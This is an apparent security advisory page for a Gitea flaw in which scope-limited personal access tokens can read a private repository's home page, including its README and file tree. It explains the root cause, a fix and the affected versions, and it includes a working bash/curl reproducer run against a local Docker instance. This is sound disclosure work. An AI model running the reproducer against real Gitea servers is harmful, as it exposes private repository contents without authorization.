Skip to content

GHSA-cp3q-vrj2-ghhh CVE-2026-58444 GO-2026-6050

Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents

Medium Go
Severity
4.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.36%
Chance of exploitation in the next 30 days. Higher than 29.71% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
Available
2 packages have a fixed version

Description

Summary

A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route GET /{owner}/{repo} (handler repo.Home) serves the private repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token.

This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:

  • GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
  • GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds

repo.Home is the remaining token-auth-enabled content route that was not given the guard.

Details / Root cause

Web routes accept token authentication only when explicitly opted in with webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries AllowBasic (added so that go get can resolve private modules):

// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
      repo.SetEditorconfigIfExists, repo.Home)

When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken = true and records ApiTokenScope:

// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope

The patched sibling handlers all call the web-side scope guard context.CheckRepoScopedToken(...), which enforces both the public-only restriction and the repository scope:

routers/web/repo/download.go:23     (raw / media / archive)  ← GHSA-cr4g
routers/web/feed/render.go:15       (all repo feeds)         ← GHSA-3pww
routers/web/repo/attachment.go:190  (attachments / release assets, centralized)
routers/web/repo/githttp.go:161     (git smart HTTP)         ← GHSA-cc8w

repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its only gate is checkHomeCodeViewable, which verifies the user's permission and that the code unit is enabled neither of which constrains the token's scope. The README, file listing, and sidebar are then rendered. (The handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo view is not.)

Proof of Concept

Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to the source commit above). A private repository admin/secretrepo is created, and a token is minted with only the read:user scope (no repository scope).

=== anonymous baseline (repository is private) ===
  anon GET /admin/secretrepo                       HTTP=404
=== same no-repo-scope token across routes ===
  API repo get (proves token lacks repo scope)     HTTP=403 canary=0
  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0
  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0
  /admin/secretrepo.rss               (control)    HTTP=403 canary=0
  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1

A second token with scope public-only,read:repository behaves identically: /archive → 403, but /admin/secretrepo → 200 and returns the private content.

canary=1 means the private README marker was returned in the HTML response; the private file name SECRET.md is also disclosed in the rendered file tree.

Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):

#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
  -e GITEA__server__ROOT_URL=http://localhost:3000/ \
  -e GITEA__service__DISABLE_REGISTRATION=true \
  -p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
  [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
  --password "$PW" --email admin@example.com --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
  -H 'Content-Type: application/json' \
  -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  -H 'Content-Type: application/json' \
  -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
  --scopes read:user --token-name norepo --raw | tail -1)
echo "anon  : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
  o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
  echo "/$p -> ${o##*|}  canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null

Impact

Any holder of a non-repository-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only read:issue, or a public-only token issued to a third-party integration).

The disclosure is bounded to the repository root view because the deeper /{owner}/{repo}/src/* routes do not enable AllowBasic.

Suggested remediation

Mirror the sibling handlers: at the start of repo.Home (routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256, add:

context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
    return
}

It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that render repository data for the same omission notably actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a private repository's workflow build status (pass/fail) to a token without the repository scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor